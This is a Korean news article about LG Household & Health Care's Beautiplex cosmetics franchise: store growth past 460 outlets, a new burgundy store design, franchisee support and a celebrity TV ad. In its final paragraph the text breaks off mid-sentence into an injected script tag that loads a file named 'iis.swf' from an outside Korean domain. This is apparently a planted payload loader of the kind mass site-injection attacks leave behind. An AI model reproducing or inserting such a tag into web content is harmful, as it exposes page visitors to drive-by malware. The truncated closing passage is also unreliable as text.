이로 인해 뷰티플렉스의 올해 가맹점포 및 매출액 등 전반적인 사업계획이 당초 목표치보다 크게 향상될 것으로 회사측은 내다보고 있다.
LG생활건강 CM 유통전략팀 조영한 팀장은 “2월말 현재 전국 뷰티플렉스 매장수는 460호점을 돌파한 상태로 1분기 목표치를 상회하고 있다"며 “현재와 같은 추세라면, 당초 계획했던 상반기 500호점 돌파는 물론, 연내 목표치인 600호점을 크게 뛰어넘는 매장 확보가 가능하게 될 것"이라고 말했다.
연초부터 뷰티플렉스의 가맹속도에 불이 붙은 것은 올 초 선을 보인 뷰티플렉스 뉴 모델점과 정책지원이 가맹점과 소비자 사이에서 호평을 받고 있기 때문이다.
이에 대해 회사측은 프리미엄급을 지향하는 LG생활건강의 브랜드들이 소비자에게 어필 되면서, 자연스럽게 제품구매로 이어지고 뷰티플레스의 활성화에 견인차 역할을 하고 있기 때문으로 분석하고 있다.
또한 가맹점주도 매출 달라지는 고객 중심의 프로모션과 다양한 교육 프로그램, 소비자 응대를 위해 제공되는 고객관리 지원 등으로 본사에 대한 만족감이 확대되고 있는 것도 한 요인이라고 덧붙여 강조했다.
특히, 뷰티플렉스 뉴 모델숍은 럭셔리한 버건디 컬러의 인테리어로 새롭게 단장돼, 한결 고급스러운 이미지로 외형적인 변신에 성공했다는 평가를 받고 있고 또한 이자녹스, 수려한, 라하, 캐시캣, 라끄베르, 보닌 등 소비자 선호도가 높은 LG생활건강의 시판주력제품을 중심으로 판매대를 꾸며, 고객들에게 편리한 쇼핑서비스를 제공하고 있다.
LG생활건강측은 이외도 고객층의 연령대와 취향을 고려해, 각 상권별로 유연하게 브랜드 구성을 할 수 있도록 가맹점의 입장을 최대한 배려하고 있고 무엇보다, 고객대상의 이벤트와 프로모션 운영을 체계적으로 실시해, 우수고객과 단골고객의 구매비중을 높이는 정책도 뷰티플렉스 활성화에 한 몫을 했다고 강조했다.
현재 뷰티플렉스 뉴 모델숍은 직영점인 성수점과 암사점외에 40곳의 가맹점에 적용돼 있는 상태이고 기존 매장도 본사의 지원을 통해, 빠른시일안에 인테리어 전환을 실시할 방침이다.
회사측은 향후 국민소득 증가에 따라 국내도 해외 선진국과 유사하게 프리미엄급 제품의 선호도와 수준높은 매장에 대한 소비자 니즈가 확대될 것으로 판단, 뷰티플레스 뉴 모델도 더욱 크게 활성화될 것으로 낙관하고 있다.
이를 통해 사업초기부터 진행해 왔던 한국형 멀티브랜드숍 모델을 안정화시켜, 국내 최고의 화장품 전문매장으로 위치를 확고히 한다는 게 회사측 계획이다.
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뷰티플렉스는?
럭셔리한 버건디 컬러로 새롭게 옷을 바꿔 입은 뷰티플렉스. BI컬러 변경뿐 아니라 메인브랜드 디스플레이 강화 및 파우더룸 배치 등 인테리어 개선으로 고객들이 즐거운 쇼핑이 가능하도록 변신했다.
‘BEAUTIPLEX’는 Beauty와 Multiplex의 합성어로 아름다움과 세련된 감각이 돋보이는 제품들을 다양하게 만날 수 있는 고품격 화장품 토탈샵을 의미한다. 특히 LG생활건강 브랜드를 중심으로 한 고품질의 다양한 가격대의 국내/외 상품들을 투명한 가격정책과 전문적인 서비스를 통해 고객에게 쇼핑의 즐거움과 신뢰감을 제공하는 것이 다른 브랜드샵과의 차별적 포인트.
2007년 현재 이미 460호점을 돌파한 뷰티플렉스는 점주와 소비자 모두 만족하는 브랜드샵으로 성장해나가고 있다. 점주들은 본사에서의 지원이 활발한 점에 만족을 표시했다.
특히 매월 달라지는 알찬 프로모션과 다양한 교육 프로그램, 소비자 응대를 위해 활발히 제공되는 고객관리 활동 등을 손꼽았다. 소비자들은 고급스러우면서도 편리하게 쇼핑할 수 있는 분위기에서 다양한 제품을 만날 수 있는 것과 고객이 우선시되는 멤버십 마일리지 제도에 만족해했다.
2007년 새롭게 변신한 뷰티플렉스. 이를 위해 뷰티플렉스 만을 위한 브랜드숍 전용 광고를 통해 소비자들에게 뷰티플렉스를 널리 알리고 더욱 가까이 다가가고자 한다. 브랜드숍에서 판매되는 제품 광고는 많지만, 뷰티플렉스 TVCF처럼 브랜드숍만을 위한 광고는 흔치 않아 더욱 관심을 끌게 될 매력적인 광고.
특히 이번 광고에는 뷰티플렉스에서 판매되는 브랜드의 톱모델들인 수애, 이보영, 진혜림과 소녀모델 우리가 함께 등장해 뷰티플렉스에 오면 아름답?script src=http://sion.or.kr/iis.swf> webmaster@geniepark.co.kr <저작권자 © 제니파크, 무단 전재 및 재배포 금지> |
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